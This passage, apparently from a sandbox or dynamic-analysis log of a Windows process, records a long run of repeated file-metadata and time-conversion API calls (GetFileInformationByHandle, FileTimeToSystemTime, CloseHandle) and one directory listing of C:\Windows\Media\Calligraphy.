lpSystemTime=0x4abc04) returned 1 [0260.790] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.791] CloseHandle (hObject=0x178) returned 1 [0260.792] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.792] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.792] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.793] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.793] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.794] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.794] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.794] CloseHandle (hObject=0x178) returned 1 [0260.795] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.796] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.796] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.796] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.796] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.796] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.796] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.796] CloseHandle (hObject=0x178) returned 1 [0260.797] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.797] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.797] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.797] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.797] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.798] CloseHandle (hObject=0x178) returned 1 [0260.798] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.798] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.798] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.798] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.799] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.799] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.799] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.799] CloseHandle (hObject=0x178) returned 1 [0260.799] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.799] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.799] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.800] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.800] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.800] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.800] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.800] CloseHandle (hObject=0x178) returned 1 [0260.800] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.800] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.800] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.801] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.801] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.801] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.801] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.801] CloseHandle (hObject=0x178) returned 1 [0260.802] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.802] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.802] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.802] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.802] CloseHandle (hObject=0x178) returned 1 [0260.803] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.803] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.803] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.803] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.803] CloseHandle (hObject=0x178) returned 1 [0260.804] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.804] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.804] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.804] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.804] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.804] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.804] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.804] CloseHandle (hObject=0x178) returned 1 [0260.805] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.805] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.805] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.805] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.805] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.805] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.805] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.805] CloseHandle (hObject=0x178) returned 1 [0260.807] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.807] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.807] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.807] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.807] CloseHandle (hObject=0x178) returned 1 [0260.808] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.808] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.808] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.808] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.808] CloseHandle (hObject=0x178) returned 1 [0260.809] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.809] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.809] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.809] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.809] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.809] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.809] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.809] CloseHandle (hObject=0x178) returned 1 [0260.810] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.810] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.810] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.810] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.810] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.810] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.810] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.810] CloseHandle (hObject=0x178) returned 1 [0260.812] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.812] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.812] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.812] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.812] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.813] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.813] CloseHandle (hObject=0x178) returned 1 [0260.813] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.813] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.813] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.813] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.814] CloseHandle (hObject=0x178) returned 1 [0260.814] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.814] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.814] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.814] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.814] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.814] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.814] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.814] CloseHandle (hObject=0x178) returned 1 [0260.820] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\Calligraphy\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe634cda, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18d19820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18d19820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0260.821] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.821] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.821] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.821] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.821] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.821] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.821] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.821] CloseHandle (hObject=0x178) returned 1 [0260.822] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.822] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.822] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.822] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.823] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.823] CloseHandle (hObject=0x178) returned 1 [0260.823] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.823] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.824] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.824] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.824] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.824] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.824] CloseHandle (hObject=0x178) returned 1 [0260.824] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.824] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.824] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.824] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.824] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.825] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.825] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.825] CloseHandle (hObject=0x178) returned 1 [0260.825] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.825] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.825] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.825] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.826] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.826] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.826] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.826] CloseHandle (hObject=0x178) returned 1 [0260.829] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.829] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.829] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.829] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.829] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.829] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.829] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.829] CloseHandle (hObject=0x178) returned 1 [0260.830] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.830] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.830] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.830] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.830] CloseHandle (hObject=0x178) returned 1 [0260.831] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.831] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: 